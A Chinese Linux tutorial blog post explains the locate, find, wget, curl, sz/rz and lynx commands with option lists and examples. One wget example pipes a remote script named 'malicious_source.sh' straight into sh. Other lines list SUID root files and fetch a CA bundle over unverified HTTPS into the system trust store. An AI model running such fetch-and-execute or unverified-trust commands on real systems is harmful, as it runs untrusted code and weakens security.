[TOC]
0x00 快速入门
命令脑图:
0x01 文件查找
locate 命令
描述:在后台数据库中按文件名搜索,速度更快,通过/var/lib/mlocate内数据库记载找出用户输入的关键字文件名,它的更新速率默认是一天一次,Linux版本的不同名字不同Mac下在/var/db/locate.datebase; 根据距上次更新后更改的文件数目多少,速度不同并且只能通过文件名来搜索
基础实例L
[TOC]
命令脑图:
描述:在后台数据库中按文件名搜索,速度更快,通过/var/lib/mlocate内数据库记载找出用户输入的关键字文件名,它的更新速率默认是一天一次,Linux版本的不同名字不同Mac下在/var/db/locate.datebase; 根据距上次更新后更改的文件数目多少,速度不同并且只能通过文件名来搜索
基础实例L
[TOC]
命令脑图:
描述:在后台数据库中按文件名搜索,速度更快,通过/var/lib/mlocate内数据库记载找出用户输入的关键字文件名,它的更新速率默认是一天一次,Linux版本的不同名字不同Mac下在/var/db/locate.datebase; 根据距上次更新后更改的文件数目多少,速度不同并且只能通过文件名来搜索
基础实例L1
2
3
4
5
6
7
8
9
10
11
12#1.Centos 命令强制更新数据库 /var/lib/mlocate/mlocate.db 文件
updatedb
sudo /usr/libexec/locate.updatedb #Mac 下是
#2.查询命令
locate [filename]
#3.遵守/etc/updatedb.conf配置文件里的筛选规则,所以即使你更新了数据库也不一定能locate到所要寻找的文件
PRUNE_BIND_MOUNTS = "yes" #开启搜索限制
PRUNEFS = "afs udf" #搜索时不搜索的文件系统
PRUNENAMES = ".git .hg" #搜索时不搜索的文件名
PRUNEPATHS = "/afs /tmp" #搜索时不搜索的路径
描述:是Linux中最常用搜索文件或者目录的命令,十分强大能从各个维度方面进行搜寻;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53#基于语法:
find【搜索范围】【搜索条件】
#参数
-name 按照文件名搜索 #可采用通配符
-iname 文件名不区分大小写
-regex "PATTERN" 通过正则查询
-user
-group
-uid
-gid
-nouser : 查找没有属主的文件
-nogroup :查找没有属组的文件
-type f/d/l/s(套接字)/b/c(字符设备)/p(管道设备) #查询是文件还是目录
-a / o / and / ! #组合条件
-perm -/+MODE(u,g,o) #指定权限
-atime(天)/-amin(分) #访问文件的时间
-ctime/-cmin #改变文件属性的时间
-mtime/-mmin #修改文件内容的时间
-size #文件大小
-newer # 列出被改参数指定的文件还要新的文件名称;
# 动作Active
-print #默认处理动作,显示至屏幕
-ls #类似于对查找的文件执行ls -l命令
-empty #只对空目录进行限制
-delete #删除查找到文件
-fls /tmp/test.log #存入ls -aihl 格式的到文件
-exec COMMAND {} \; # 或者将\; 替换为 +
-ok COMMAND {} \; # 或者将\; 替换为 +
#find使用Linux中的通配符是在系统当中搜索符合条件的文件名
#通配符是完全匹配的
* 匹配任意内容(任意多个字符)
? 匹配任意一个字符
[] 匹配任意一个中括号内的字符 x[ab]->xa或者xb
[-] 匹配中括号中任意一个字符,-代表一个范围 例如,[a-z]代表匹配一个小写字母
[^] 逻辑非,表示匹配不是中括号内的一个字符 例如[^0-9]代表匹配一个不是数字的字符
#其他参数:
-print0 : 不换行打印find的结果,结果之间采用空格进行分割;
-path : 过滤指定目录
-prune : 表示过滤指定子目录
-mindepth,-maxdepth : 设置层级目录
案例示例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118#示例0.可以查看当前目录所有嵌套的文件
find .
find . | grep .txt #使用管道符
#示例1.通过指定文件名称进行搜寻
find / -name 文件名.db *.git
find / -name "ab[cd]" //匹配abc或abd
find / -iname SShd_config #不区分大小查询
#示例2.按文件类型搜寻
find . -type f #只想看到文件
find . -type d #想看到目录
find / -type l -ls # 查找软连接及其指向:
#示例3.按照所有者来搜索
find /root -user root #是找root目录下所有者为root的文件
find /root -nonuser #是找root目录下没有所有者的文件
find / -nogroup -print #查找不属于任何用户组的文件:
#示例4.按照权限搜寻
find / -perm -o=w
find / -perm +7000
find / -uid 0 -perm -4000 #使用 uid 查找对应的程序 SUID
find / -user root -perm -4000 -print #查找 SUID root 文件
find / -group root -perm -2000 -print #查找 SGID root 文件
#示例5.利用组合条件进行搜寻(多条件查询and/or)
find / -perm -4000 -o -perm -2000 -print #查找 为 SUID 或者 为SGID 的文件:
find / \( -not -user root -a -not -name 'fstab' \) -ls #找出tmp目录下,所属主不是root且文件名不是fstab的文件
#示例6.按照时间来搜索
find 【搜索范围】 -(?)time (+/-)时间
find /root -mtime +10 #是查找十天前修改的文件
find /root -mtime -10 #是查找十天内修改的文件
find /root -mtime -0.5 #是查找0.5天内修改的文件
find /root -mtime 10 #是查找第十天修改的文件
#示例7.按照大小来搜索
find 【搜索范围】-size (+/-) *(k/M) #小写k是kB,大写M是MB
find /root -size +10k #是查找root目录下大小大于10kB的文件
find /root -size +10k -o -size 10k #是查找root目录下大小大于或者等于10kB的文件
find /root -size +20k -a -size -50k #查找20~50kB大小的文件
find /root -size -20k -o -size +50 # k查找小于20或者大于50kB的文件
#示例8.按照i节点来搜索
find 【搜索范围】-inum 【-/+ i节点号】 #注意下面括号之间有空格
find / \( -inum +4000000000 -a -inum -4026532147 \) -l #搜寻节点号大于400000000且小于4026532147
find / \( -inum +4000000000 -a -not -inum -4026532147 \) -l #搜寻节点号大于400000000且不下于4026532147
#示例9.-exec/-ok 命令 {} \;用来继续处理搜索到的文件(非常重要)
find /root -size +20k -a -size -50k -exec ls -lh {} \; #查找20~50kB的文件,并列出详细信息
find ./ -name "*****" -exec rm -f {} \; #其中'{}'代表找到的文件,删除满足条件的文件或者目录
find . -type f -exec ls -l '{}' ';'
find . mtime +1 -exec wc -l {} \;
6 ./.nvm/versions/node/v11.12.0/lib/node_modules/pm2/node_modules/pm2-axon-rpc/.travis.yml
find . cmin -5 -ok mv {} {}.new \;
find /tmp -nogroup -ok chown root:nobaby {} \; #将查询到的文件所属主和组进行更改
find / -perm +7000 -exec ls {}\; # 因为在;有特殊意义则使用\来转义
find . -name *410164689* -exec cp {} f:/sfz/41/1327/1996/411327199612020168.jpg \;
#示例10.高阶利用
find /root -name ding*.sh -delete #删除找到的文件
find /root -name ding*y -fls www.txt && cat www.txt #找到文件以长连接格式存入到文件中
139002 4 -rwxr-xr-x 1 root root 994 May 13 22:40 /root/dingding.py
#示例11.不换行显示查找结果
find . -type f -name "*.yaml" -print # 换行输出
find . -type f -name "*.log" -print0 # 不换输出,空格分隔
./var/lib/docker/overlay2/716be24950255cd6668ac1ddbb662f2543d7a8bd6a5feb34d74f3d108ae3262b/diff/usr/lib/node_modules/npm/node_modules/socks/yarn-error.log ./var/log/boot.log ./var/log/tuned/tuned.log
#示例12.找出/app/lv/xinghuo/下48小时的日志并压缩
find /app/lv/xinghuo/ -mtime +1 -name "itmweb.log_2017-*.log" -exec gzip {} \;
find /app/lv/xinghuo/ -mtime +15 -name "host-manager*.gz" -exec rm -rf {} \;
#示例13.该删除文件、目录下的所有空目录(清空回收站还是不错的)
# 删除回收站
find ~/.trash -delete
# 删除当前目录下的所有文件
$find . -type f -delete
# 删除空目录以及指定路径下的空目录
$find . -type d -empty -delete
$find ~/.trash -type d -delete
# 实例14.列出/etc目录中文件日期比/etc/passwd还新的文件
> find /etc -newer /etc/passwd
/etc
/etc/shadow
/etc/rc2.d
/etc/rc2.d/S01ssh
# 实例15.查找当前目录下的tomcat文件以及在当前文件下排除 BAK 目录(子目录)中的jpg文件(排除多个目录)
find / -name "*tomcat.txt" -maxdepth 1 -print
find . -path "*/BAK" -prune -o -type f -name *.jpg > /tmp/2019.txt
find . -path "./code" -prune -o -name "*.txt" -print # 在当前目录除code之外的子目录内搜索 txt文件
find . \(-path "./code" -o -path "./code2" \) -prune -o -name "*.txt" -print # 在当前目录及除code和code2之外的子目录中查找txt文件
# 实例16.值得学习-exec参数执行查找后的相应文件处理结尾可以采用`+`来替换`\;`
find . -type f -exec ls -alh {} && echo {} +
# -rw------- 1 root root 322M Feb 24 13:31 ./fanal-3744861088
# 示例17.遍历/tmp目录下的多个图片格式,并将其路径与后缀进行多次替换。
for i in $(find /tmp -name *.png -o -name *.jpg -o -name *.jpeg -o -name *.tiff); do img1=${i/.png/.webp}; echo ${img1/image/convert}; done
/tmp/convert/1.jpg
/tmp/convert/2.webp
# 示例18.查找指定目录下所有复合条件的文件,并按照指定字符串匹配。
find log-studentcenter-{0..11}-*/logs/StudentCenter/info.2023-01-*.log -exec grep -P '50030****222|500108****2' {} \; | grep ".CjxxController.getCj:" >> /tmp/weiyigeek.logs
find log-studentcenter-{0..11}-*/logs/StudentCenter/info.2022-06-*.log -exec grep "resetPassword" {} \; | grep "pz" >> /tmp/pz-resetPassword.logs
find log-studentcenter-{0..11}-*/logs/StudentCenter/info.2023*.log -exec grep "resetPassword" {} \; | grep "gkys" >> /tmp/gkys-resetPassword.logs
描述:在debian系列中采用sz和rz命令进行下载或者上传文件到服务器中;1
2sz remote文件 #下载linux上的文件到本地(debain系列采用)
rz local文件 #上传本地文件到Linux上
描述:用来从指定的URL下载文件,wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。
如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载,这对从那些限定了链接时间的服务器上下载大文件非常有
1 | 用法: wget [选项]... [URL]... |
实际案例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#示例1.下载文件并将重命名到自定位置
wget http://baidu.com/malicious_source.sh -O /tmp/test.sh -o xx.log #-O 重命名下载的文件 记录下载日志方法:使用小写字母o
wget http://baidu.com/malicious_source.sh -P /tmp/ #下载的文件到指定目录
wget -i filelist.txt #下载多个文件指定file
#模拟在浏览器下下载有的网站不允许客户在非浏览器环境下下载。使用--user-agent来设置
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.linuxde.net/testfile.zip
#示例2.直接下载恶意的源文件,然后使用sh直接执行该脚本。
wget http://baidu.com/malicious_source.sh -O- | sh
wget http://192.168.8.13/article/view.asp -O- | cat #输出文件到标准输出,然后用cat打开.
#示例3.FTP匿名下载
wget ftp://192.168.1.254/document/test.zip
wget --user=admin --password=password ftp://192.168.1.254/document/test.zip #对于FTP账户密码认证
#示例4.#对于HTTPS站点进行下载,下载'dir'目录下的所有gz文件
# -np 没有父目录
# -nd 不要构建本地目录结构
# --accept=gz 只下载gz文件
wget -r -np -nd --accept=gz --no-check-certificate https://www.xxx.com/dir/ --http-user=username --http-password=password
wget -r -np -nd http://tel.mirrors.163.com/centos/6.4/os/x86_64/ # 下载 http://tel.mirrors.163.com/centos/6.4/os/x86_64/ 目录中的所有文件
#示例5.下载一个网站的本地镜像 与 Teleport Pro 相似,断点下载
wget -c -r --level=1 -k -p -np http://docs.Python.org/2/tutorial/index.html
wget --mirror -p --convert-links -P ./LOCAL-DIR WEBSITE-URL #当你要下载一个完整站点并实现本地浏览的时候,
1 | #示例6.连接测试与Response请求查看 |
示例7.代理设置(实验环境:ubuntu 12.04 LTS goagent
)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# 方式1.在环境变量中设置代理
export http_proxy=http://127.0.0.1:8087
# 方式2.使用配置文件 /etc/wgetrc 或者将其中与proxy有关的几行复制到~/.wgetrc
# You can set the default proxies for Wget to use for http, https, and ftp.
# They will override the value in the environment.
https_proxy = http://127.0.0.1:8087/
http_proxy = http://127.0.0.1:8087/
ftp_proxy = http://127.0.0.1:8087/
# If you do not want to use proxy at all, set this to off. (开启和断开代理)
use_proxy = on
# 方式3.wget本身没有专门设置代理的命令行参数,但是有一个"-e"参数,可以在命令行上指定一个原本出现在".wgetrc"中的设置。
# 该方式对于使用一个临时代理尤为方便。
wget -c -r -np -k -L -p -e "http_proxy=http://127.0.0.1:8087" http://www.subversion.org.cn/svnbook/1.4/
注: 如果是https则参数为:-e "https_proxy=http://127.0.0.1:8087"
注: 使用https时如果想要忽略服务器端证书的校验,可以使用 -k 参数。
描述:利用URL规则在命令行下工作的文件传输工具,它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。
作为一款强力工具,curl支持包括HTTP、HTTPS、FTP等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。
语法参数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100curl(选项)(参数)
#参数
-a/--append 上传文件时,附加到目标文件
-A/--user-agent <string> 设置用户代理发送给服务器
-anyauth 可以使用“任何”身份验证方法
-b/--cookie <name=string/file> cookie字符串或文件读取位置
--basic 使用HTTP基本验证
-B/--use-ascii 使用ASCII /文本传输
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-d/--data <data> HTTP POST方式传送数据
--data-ascii <data> 以ascii的方式post数据
--data-binary <data> 以二进制的方式post数据
--negotiate 使用HTTP身份验证
--digest 使用数字身份验证
--disable-eprt 禁止使用EPRT或LPRT
--disable-epsv 禁止使用EPSV
@data.json 需要上传请求或者文件时需要使用
-D/--dump-header <file> 把header信息写入到该文件中
--egd-file <file> 为随机数据(SSL)设置EGD socket路径
--tcp-nodelay 使用TCP_NODELAY选项
-e/--referer 来源网址
-E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)
--cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)
--key <key> 私钥文件名 (SSL)
--key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)
--pass <pass> 私钥密码 (SSL)
--engine <eng> 加密引擎使用 (SSL). "--engine list" for list
--cacert <file> CA证书 (SSL)
--capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)
--ciphers <list> SSL密码
--compressed 要求返回是压缩的形势 (using deflate or gzip)
--connect-timeout <seconds> 设置最大请求时间
--create-dirs 建立本地目录的目录层次结构
--crlf 上传是把LF转变成CRLF
-f/--fail 连接失败时不显示http错误
--ftp-create-dirs 如果远程目录不存在,创建远程目录
--ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用
--ftp-pasv 使用 PASV/EPSV 代替端口
--ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址
--ftp-ssl 尝试用 SSL/TLS 来进行ftp数据传输
--ftp-ssl-reqd 要求用 SSL/TLS 来进行ftp数据传输
-F/--form <name=content> 模拟http表单提交数据
--form-string <name=string> 模拟http表单提交数据
-g/--globoff 禁用网址序列和范围使用{}和[]
-G/--get 以get的方式来发送数据
-H/--header <line> 自定义头信息传递给服务器
--ignore-content-length 忽略的HTTP头信息的长度
-i/--include 输出时包括protocol头信息
-I/--head 只显示请求头信息
-j/--junk-session-cookies 读取文件进忽略session cookie
--interface <interface> 使用指定网络接口/地址
--krb4 <level> 使用指定安全级别的krb4
-k/--insecure 允许不使用证书到SSL站点
-K/--config 指定的配置文件读取
-l/--list-only 列出ftp目录下的文件名称
--limit-rate <rate> 设置传输速度
--local-port<NUM> 强制使用本地端口号
-m/--max-time <seconds> 设置最大传输时间(数据传输的最大允许时间)
--max-redirs <num> 设置最大读取的目录数
--max-filesize <bytes> 设置最大下载的文件总量
-M/--manual 显示全手动
-n/--netrc 从netrc文件中读取用户名和密码
--netrc-optional 使用 .netrc 或者 URL来覆盖-n
--ntlm 使用 HTTP NTLM 身份验证
-N/--no-buffer 禁用缓冲输出
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel 使用HTTP代理
--proxy-anyauth 选择任一代理身份验证方法
--proxy-basic 在代理上使用基本身份验证
--proxy-digest 在代理上使用数字身份验证
--proxy-ntlm 在代理上使用ntlm身份验证
-P/--ftp-port <address> 使用端口地址,而不是使用PASV
-q 作为第一个参数,关闭 .curlrc
-Q/--quote <cmd> 文件传输前,发送命令到服务器
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
--range-file 读取(SSL)的随机文件
-R/--remote-time 在本地生成文件时,保留远程文件时间
--retry <num> 传输出现问题时,重试的次数
--retry-delay <seconds> 传输出现问题时,设置重试间隔时间
--retry-max-time <seconds> 传输出现问题时,设置最大重试时间
-s/--silent 静默模式。不输出任何东西
-S/--show-error 显示错误
--socks4 <host[:port]> 用socks4代理给定主机和端口,此参数会覆盖“-x”参数;
--socks5 <host[:port]> 用socks5代理给定主机和端口,此参数会覆盖“-x”参数;
--stderr <file>
-t/--telnet-option <OPT=val> Telnet选项设置
--trace <file> 对指定文件进行debug
--trace-ascii <file> Like --跟踪但没有hex输出
--trace-time 跟踪/详细输出时,添加时间戳
-T/--upload-file <file> 上传文件
--url <URL> Spet URL to work with
-u/--user <user[:password]> 设置服务器的用户和密码
-U/--proxy-user <user[:password]> 设置代理用户名和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-X/--request <command> 指定什么命令
-y/--speed-time 放弃限速所要的时间,默认为30
-Y/--speed-limit 停止传输速度的限制,速度时间
实际案例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64#示例1.curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作
curl URL --silent #不显示进度信息使用
curl -s -o aaa.jpg http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg # -s与--silent效果相同
#示例2. 使用选项-O将下载的数据写入到文件,必须使用文件的绝对地址
curl http://man.linuxde.net/text.iso --silent -O
# 用-O(大写的),后面的url要具体到某个文件,不然抓不下来。我们还可以用正则来抓取东西
curl -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg
curl -O http://blog.51yip.com/wp-content/uploads/2010/[0-9][0-9]/aaaaa.jpg
#选项-o将下载数据写入到指定名称的文件中,并使用--progress显示进度条:
curl http://man.linuxde.net/test.iso -o filename.iso --progress
######################################### 100.0%
#示例3. 断点续传从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件
curl -C 偏移量 URL/File #偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
curl -C -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg
#分段下载
curl -r 0-100 -o img.part1 http://www.baidu.com/logo.png
curl -r 100- -o img.part1 http://www.baidu.com/logo.png
#示例4.常用选项
curl URL --user-agent "Mozilla/5.0" #或者curl URL -A "Mozilla/5.0" 检查用户代理
curl --referer http://www.google.com http://man.linuxde.net #指定参照页字符串:用来表示用户是从哪个页面到达当前页面的
curl URL --limit-rate 50k #限制curl的下载速度: 命令中用k(千字节)和m(兆字节)指定下载速度限制。
curl URL --max-filesize bytes #指定可下载的最大文件大小: 文件大小超出限制命令则返回一个非0退出码否则返回0。
curl -f http://blog.51yip.com/asdf #显示抓取错误
# curl: (22) The requested URL returned error: 404
#示例5.设置头信息与打印返回的头信息
curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL #使用-H"头部信息" 传递多个头部信息
curl -I http://man.linuxde.net #通过-I或者-head可以只打印出HTTP头部信息:
curl -I http://man.linuxde.net 2>/dev/null | head -1 #打印出HTTP头部的状态码信息,不显示连接信息
#HTTP/1.1 200 OK
#示例6.cookie与代理设置
curl http://man.linuxde.net --cookie "user=root;pass=123456" #设置多个cookie使用分号分隔:
curl URL --cookie-jar cookie_file # 将cookie另存为一个文件,使用--cookie-jar选项:
curl -x 24.10.28.84:32779 -o home.html http://blog.51yip.com #代理IP请求
#示例7.登录认证
#完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
curl -u user:pwd http://man.linuxde.net
curl -u user http://man.linuxde.net
#模拟表单信息,模拟登录,保存cookie信息,-F就是网页中字段名,使用cookie文件
curl -c ./cookie_c.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php
curl -b ./cookie_c.txt http://blog.51yip.com/wp-admin
#保存Header头信息与模拟登录
curl -D Cque.dump --silent http://www.cque.edu.cn >>/dev/null
curl -D ./cookie_D.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php
#示例8.FTP上传下载文件
curl -u 用户名:密码 -O ftp://blog.51yip.com/demo/curtain/bbstudy_files/style.css # ftp下载文件
curl -T test.sql ftp://用户名:密码@ip:port/demo/curtain/bbstudy_files/ #通过ftp上传
1 | #示例9.补充请求方法 |
示例12.curl和wget指定ssl ca证书,openwrt下curl使用mbedtls校验ssl要安装ca-bundle
,wget使用libssl校验ssl要安装ca-certificates
,索性单独下载ca证书文件1
2
3
4
5
6
7
8# curl 和 wget 用配置文件指定ca证书
curl -k https://www.weiyigeek.top/cacert.pem -o /etc/ssl/certs/ca-certificates.crt
echo 'ca-certificate = /etc/ssl/certs/ca-certificates.crt' > ~/.wgetrc
echo 'cacert=/etc/ssl/certs/ca-certificates.crt' > ~/.curlrc
# curl 和 wget 不验证证书进行https请求
$ wget 'https://x.x.x.x/get_ips' --no-check-certificate
$ curl 'https://x.x.x.x/get_ips' -k
示例13.指定主机头测试Nginx虚拟主机的配置:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20curl https://104.154.30.67 -H 'Host:foo.bar.com' -k
# CLIENT VALUES:
# client_address=10.245.0.6
# command=GET
# real path=/
# query=nil
# request_version=1.1
# request_uri=http://foo.bar.com:8080/
# SERVER VALUES:
# server_version=nginx: 1.9.11 - lua: 10001
# HEADERS RECEIVED:
# accept=*/*
# connection=close
# host=foo.bar.com
# user-agent=curl/7.35.0
# x-forwarded-for=10.245.0.1
# x-forwarded-host=foo.bar.com
# x-forwarded-proto=https
示例14.curl 命令如何使用代理下载资源1
2
3
4
5
6
7# -x host:port
# -x [protocol://[user:pwd@]host[:port]
# --proxy [protocol://[user:pwd@]host[:port]
# 使用HTTP代理访问;如果未指定端口,默认使用8080端口;
# protocol默认为http_proxy,其他可能的值包括:http_proxy、HTTPS_PROXY、socks4、socks4a、socks5;
# 如:--proxy 8.8.8.8:8080;-x "http_proxy://user:password@weiyigeek.top:80"
curl -x 192.168.11.215:3128 -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
注意事项:curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用–silent选项
lynx命令是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息,Linux发行版都没有默认安装,需要您自己下载;
yum install -y lynx
基础语法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77lynx [选项] [参数] # URL:指定要访问的网站的URL地址。
#选项:
-case:在搜索字符串时,区分大小写;
-ftp:关闭ftp功能;
-nobrowse:关闭目录浏览功能;
-noclor:关闭色彩显示模式;
-reload:更新代理服务器的缓存,只对首页有效;
#内部命令#
#移动命令
* 下方向键:页面上的下一个链接(用高亮度显示)。
* 上方向键:页面上的前一个链接(用高亮度显示)。
* 回车和右方向键:跳转到链接指向的地址。
* 左方向键:回到上一个页面。
#滚动命令
* +、Page-Down、Space、Ctrl+f:向下翻页。
* -、Page-Up、b、Ctrl+b:向上翻页。
* Ctrl+a:移动到当前页的最前面。
* Ctrl+e:移动到当前页的最后面。
* Ctrl+n:向下翻两行。
* Ctrl+p:往回翻两行。
* ):向下翻半页。
* (:往回翻半页。
* \#:回到当前页的 Toolbar 或 Banner。
#文件操作命令
c:建立一个新文件。
d:下载选中的文件。
E:编辑选中的文件。
f:为当前文件显示一个选项菜单。
m:修改选中文件的名字或位置。
r:删除选中的文件。
t:Tag highlighted file。
u:上载一个文件到当前目录。
#其他命令
?、h:帮助。
a:把当前链接加入到一个书签文件里。
c:向页面的拥有者发送意见或建议。
d:下载当前链接。
e:编辑当前文件。
g:跳转到一个用户 指定的URL或文件。
G:编辑当前页的URL,并跳转到这个URL。
i:显示文档索引。
j:执行预先定义的“短”命令。
k:显示键盘命令列表。
l:列出当前页上所有链接的地址。
m:回到首页 。
o:设置选项。
p:把当前页输出到文件,e-mail,打印机或其他地方。
q:退出。
/:在当前页内查找字符串。
s:在外部搜索输入的字符串。
n:搜索下一个。
v:查看一个书签文件。
V:跳转到访问过的地址。
x:不使用缓存。
z:停止当前传输。
[backspace]:跳转到历史页(同 V 命令)。
=:显示当前页的信息。
:查看当前页的源代码。
!:回到shell提示符下。
_:清除当前任务的所有授权信息。
*:图形链接模式的切换开关。
@:8位传输模式或CJK模式的切换开关。
[:pseudo_inlines 模式的切换开关。
]:为当前页或当前链接发送一个“head”请求。
Ctrl+r:重新装如当前页并且刷新屏幕。
Ctrl+w:刷新屏幕。
Ctrl+u:删除输入的行。
Ctrl+g:取消输入或者传送。
Ctrl+t:跟踪模式的切换开关。
;:看Lynx对当前任务的跟踪记录。
Ctrl+k:调用 Cookie Jar 页。
数字键:到后面的第 n 个链接。
实际案例:1
lynx https://baidu.com
你好看友,欢迎关注博主微信公众号哟! ❤
这将是我持续更新文章的动力源泉,谢谢支持!(๑′ᴗ‵๑)
温馨提示: 未解锁的用户不能粘贴复制文章内容哟!
方式1.请访问本博主的B站【WeiyiGeek】首页关注UP主,
将自动随机获取解锁验证码。
Method 2.Please visit 【My Twitter】. There is an article verification code in the homepage.
方式3.扫一扫下方二维码,关注本站官方公众号
回复:验证码
将获取解锁(有效期7天)本站所有技术文章哟!
@WeiyiGeek - 为了能到远方,脚下的每一步都不能少
欢迎各位志同道合的朋友一起学习交流,如文章有误请在下方留下您宝贵的经验知识,个人邮箱地址【master#weiyigeek.top】
或者个人公众号【WeiyiGeek】
联系我。
更多文章来源于【WeiyiGeek Blog - 为了能到远方,脚下的每一步都不能少】, 个人首页地址( https://weiyigeek.top )
专栏书写不易,如果您觉得这个专栏还不错的,请给这篇专栏 【点个赞、投个币、收个藏、关个注、转个发、赞个助】,这将对我的肯定,我将持续整理发布更多优质原创文章!。
最后更新时间:
文章原始路径:_posts/系统运维/Linux/常用命令/文件管理类命令/文件查找下载命令.md
转载注明出处,原文地址:https://blog.weiyigeek.top/2019/6-5-155.html
本站文章内容遵循 知识共享 署名 - 非商业性 - 相同方式共享 4.0 国际协议